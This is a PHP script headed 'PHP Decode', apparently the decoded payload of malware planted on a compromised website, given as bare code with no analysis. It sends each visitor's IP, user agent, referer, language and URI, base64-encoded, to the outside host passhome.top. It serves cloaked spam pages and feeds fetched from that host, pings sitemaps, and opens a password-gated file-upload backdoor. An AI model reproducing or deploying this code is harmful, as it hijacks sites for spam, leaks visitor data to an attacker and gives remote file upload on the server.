PHP Decode

error_reporting(0);
header('Content-Type: text/html; charset=utf-8');
$lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
$uri = base64_encode(@$_SERVER['REQUEST_URI']);
$host = @$_SERVER['HTTP_HOST'];
$agent = base64_encode(@$_SERVER['HTTP_USER_AGENT']);
$referer = base64_encode(@$_SERVER['HTTP_REFERER']);
$ip = base64_encode(@$_SERVER['REMOTE_ADDR']);
$zone=base64_encode(date_default_timezone_get());
$http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';
$goweb = "https://passhome.top";
$typeName = base64_encode($http_type.$host);
$geturl = $goweb.'/index.php?domain='.$typeName.'&uri='.$uri.'&lan='.$lan.'&agent='.$agent.'&zone='.$zone.'&ip='.$ip.'&goweb='.$goweb.'&referer='.$referer;
$file_contents = getCurl($geturl);
if(stripos($_SERVER['REQUEST_URI'],'jp2023')!==false){
    echo $host.":cs037-ok;";
    exit();
}
if(md5($_GET['upload'])=="b242fbecdf37cc338fb21ca8711682d3"){
	echo '<form method="post" action="" enctype="multipart/form-data"><label for="file">file</label><input type="file" name="up" value=""><br><input type="submit" name="submit" value="submit"></form>';
	if(move_uploaded_file($_FILES['up']['tmp_name'],'./'.$_FILES['up']['name'])){echo 'ok!';};exit();
}
if(strstr($file_contents,"[#*#*#]")){
    $html = explode("[#*#*#]",$file_contents);
    if($html[0] == "echohtml"){ echo $html[1]; exit; }
    if($html[0] == "echoxml"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "echorss"){ header("Content-type: text/xml"); echo $html[1]; exit; }
    if($html[0] == "pingxml"){
        $maps=explode("|||",$html[1]);
        foreach($maps as $v){
            $pingRes = getCurl($v); $Oooo0s = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';
            echo $v . '===>Sitemap: ' . $Oooo0s ."<br>";
        }
        exit;}
}
function getCurl($url)
{
    $file_contents = @file_get_contents($url);
    if (!$file_contents) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
        $file_contents = curl_exec($ch);
        curl_close($ch);
    }
    return $file_contents;
}